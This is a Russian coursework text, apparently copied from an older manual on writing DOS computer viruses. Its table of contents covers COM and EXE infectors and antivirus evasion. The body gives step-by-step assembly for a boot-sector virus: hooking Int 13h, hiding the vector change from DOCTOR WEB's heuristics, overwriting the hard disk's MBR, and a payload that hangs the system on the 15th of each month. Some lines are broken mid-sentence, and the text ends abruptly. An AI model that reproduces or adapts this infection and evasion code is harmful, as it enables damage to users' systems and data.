Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
сильна ) .
Машинный код
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;
является кодом команды :
" mov bl,byte ptr [si + 7C00h] " и модифицируется
в зависимости от того, что именно удалось заразить
вирусу - если загрузка происходит с винчестера,то
код будет иметь вид :
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;
а если с дискеты :
db 8ah ;
db 9ch ;
additor db 55h ;
db 7ch ;
Дело в том, что в MBR жесткого диска тело вируса
располагается по смещению 0000h от начала сектора,
а в BOOT - записи дискеты это же смещение равно
0055h ( см. п. 1.11 ).При заражении того или иного
диска вирус определяет необходимое значение поля
" additor", которое потом будет записано в загру-
зочный сектор. Команда " ret far " для краткости
записана в виде машинного кода 0CBh.
Идея установки собственного стека заимствована из
настоящей MBR жесткого диска. Если оставить стек
" как есть ", то в
некоторых случаях система
зависать при загрузке - проверено на практике !
1.7 Защита от антивирусных программ
В настоящее время
существует только одна
раненная антивирусная программа, с которой следует
считаться при разработке нового вируса . Это всем
известный DOCTOR WEB. Благодаря довольно совершен-
ному алгоритму эвристического анализа, DOCTOR WEB
способен обнаружить новый вирус не только в фай-
лах, но и в загрузочных секторах гибких и жестких
дисков компьютера. В предыдущей главе мы рассмот-
рели, как можно скрыть присутствие вирусных кодов
в файлах и оперативной памяти ЭВМ. Теперь, вероят-
но, следует рассказать, как решается задача маски-
ровки загрузочного вируса.
После нескольких дней экспериментов было установ-
лено, что при поиске неизвестных загрузочных виру-
сов DOCTOR WEB пытается определить факт перехвата
прерывания INT 13h,при этом антивирус даже не про-
бует пройти встроенным отладчиком подозрительную
BOOT или MBR. Если, по мнению программы, INT 13h
было перехвачено, выдается сообщение о возможном
наличии в вашем компьютере неизвестного загрузоч-
ного вируса. Отсюда следует очевидный вывод :
- Команду, задающую адрес в таблице векторов пре-
рываний или выполняющую модификацию вектора INT
13h, следует зашифровать, и вирус найден не бу-
дет !
Однако сделать корректный шифровщик, хорошо рабо-
тающий на любом процессоре, не так просто. Поэтому
задача была решена следующим образом :
mov si,vvv - 100h ;
mov word ptr es:[si],to_new_13h ;Установим
mov word ptr es:[si + 2],cs ;вектор Int 13h
Как это ни странно, DOCTOR WEB "не догадался", что
команда
mov si,vvv - 100h
пересылает в SI число 04Ch, имеющее прямое отноше-
ние к вектору прерывания Int 13h.
Проверка приведенного метода на практике показала
его пригодность.
1.8 Перехватываем Int 13h
Согласно описанному выше алгоритму, настало время
перехватить прерывание Int 13h.Наш вирус будет ис-
пользовать его для
отслеживания операций с
тами. Итак :
to_read_boot equ $ - my_prg ;
read_boot: push cs ;DS = CS
pop ds ;
xor si,si ;SI = 0
mov es,si ;ES = SI
mov bx,word ptr es:[4ch] ;
mov word ptr old_13h - 100h,bx ;
mov bx,word ptr es:[4eh] ;
mov word ptr old_13h_2 - 100h,bx ;
mov si,vvv - 100h ;
mov word ptr es:[si],to_new_13h ;И установим
mov word ptr es:[si + 2],cs ;вектор Int 13h
Прерывание здесь
венной модификации вектора в таблице векторов пре-
рываний. Константа " to_read_boot " задает смеще-
ние от начала вирусного кода до метки "read_boot",
с которой и начинается код,выполняющий переопреде-
ление вектора Int 13h на вирусный обработчик.До-
полнительных пояснений работа фрагмента не требу-
ет.
1.9 Читаем исходную BOOT - запись
Сначала договоримся, где наш вирус будет хранить
настоящую загрузочную запись ( BOOT - для дискет
или MBR - для жестких дисков ).
Обычно на нулевой дорожке нулевой стороны винчес-
тера используется только самый первый сектор,а ос-
тальные свободны. Поэтому было бы естественно сох-
ранить MBR в одном из секторов нулевой дорожки.Нас
заинтересовал сектор с номером 12,но можно было бы
взять и любой другой. Только не следует выбирать
сектора с очень большими номерами. Может случиться
так, что, например сектора с номером 100 на диске
просто не существует ( особенно это относится к
старым накопителям ). Оптимальный номер - не выше
двадцати.
Для дискет оригинальную BOOT - запись лучше всего
записывать в последний сектор последней дорожки на
первой стороне заражаемого диска .
Для того, чтобы с зараженного диска можно было за-
грузиться, вирус должен считать исходную загрузоч-
ную запись в память по адресу : 0000:7C00h и после
выполнения необходимых действий передать ей упра-
вление :
mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h ;сектор в память
mov ax,0201h ;по адресу
int 13h ;0000:7C00h
В приведенном фрагменте задействованы ячейки памя-
ти :
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
Несколько позже мы
разберемся,как определяются по
мещаемые в них значения.
1.10 Заражаем MBR винчестера
Следуя алгоритму, настало время проверить, зараже-
на - ли MBR первого жесткого диска, и если нет -
заразить ее. Поэтому приступим к делу :
push cs ;ES = CS
pop es ;
mov dl,0080h ;Считаем MBR
call cs:read_mbr ;винчестера
jc cs:to_quit ;по адресу
cmp byte ptr ds:[400h],33h ;MBR уже зара-
je cs:to_quit ;жена ?
mov dx,0080h ;Нулевая головка
mov cx,000ch ;Сектор 12,
mov dl_save - 100h,dl ;
;параметры .
call cs:write_mbr_last ;Кроме того,
jc cs:to_quit ;нулевой дорожки
xor si,si ;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr:
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc si ;
loop cs:copy_vir_mbr ;
mov dx,0080h ;Запишем этот
call cs:write_mbr ;код в первый
to_quit: mov ah,04h ;Наш
int 1ah ;вирус при
jc cs:bad_clock ;загрузке по
cmp dl,15h ;15 - м числам
vis: je cs:vis ;вешает систему
bad_clock: popf ;Восстановим из
pop es ;стека
pop ds ;регистры
pop si ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
db 0eah ;И отдадим упра-
dw 7c00h ;вление настоя-
dw 0000h ;щей загрузочной
Как вы видите, вирус достаточно свободно " чувст-
вует " себя в памяти. В самом деле - свой код он
записывает в младшие 512 байт первого " отрезанно-
го " у DOS килобайта, а MBR винчестера считывает
в младшие 512 байт второго килобайта. Так сделано
для большей понятности программы и облегчения про-
граммирования, но один килобайт памяти фактически
тратится впустую ( что с некоторой натяжкой можно
отнести к вредным действиям нашего вируса ).
Процедура " read_mbr " читает сектор 1 дорожки 0
на нулевой стороне указанного диска.
Процедура " write_mbr " записывает данные из буфе-
ра по адресу : CS:0400h в сектор 1 дорожки 0 на
нулевой стороне указанного диска.
Процедура " write_mbr_last " записывает данные из
буфера по адресу : CS:0400h в заданный сектор то-
го или иного диска и заполняет ячейки памяти :
num_head
и cyl_sect.
Для проверки зараженности MBR вирус сравнивает ее
первый байт с первым байтом своего кода - числом
33h.
Далее, в поле " additor " заносится число 00h,
необходимое для корректной загрузки с винчестера.
Стоит отметить, что заражение MBR происходит ис-
ключительно при загрузке с зараженной дискеты. Ко-
гда операционная система будет загружена,вирус бу-
дет инфицировать только гибкие диски при попытке
прочитать их содержимое.А поскольку никому не при-
дет в голову менять жесткие диски во включенной в
сеть и работающей машине, нет смысла предусматри-
вать заражение MBR в резидентном режиме. Если же
попробовать проделать вышеописанную процедуру, то
компьютер с высокой вероятностью выйдет из строя,и
вирус " погибнет " вместе с ним.
1.11 Пишем обработчик прерывания Int 13h
Наконец все подготовительные действия завершены, и
мы можем заняться разработкой вирусного обработчи-
ка прерывания Int 13h. Именно этот обработчик дол-
жен отслеживать операции с гибкими дисками и при
необходимости заражать их.
Начнем с выяснения условий, при которых вирус дол-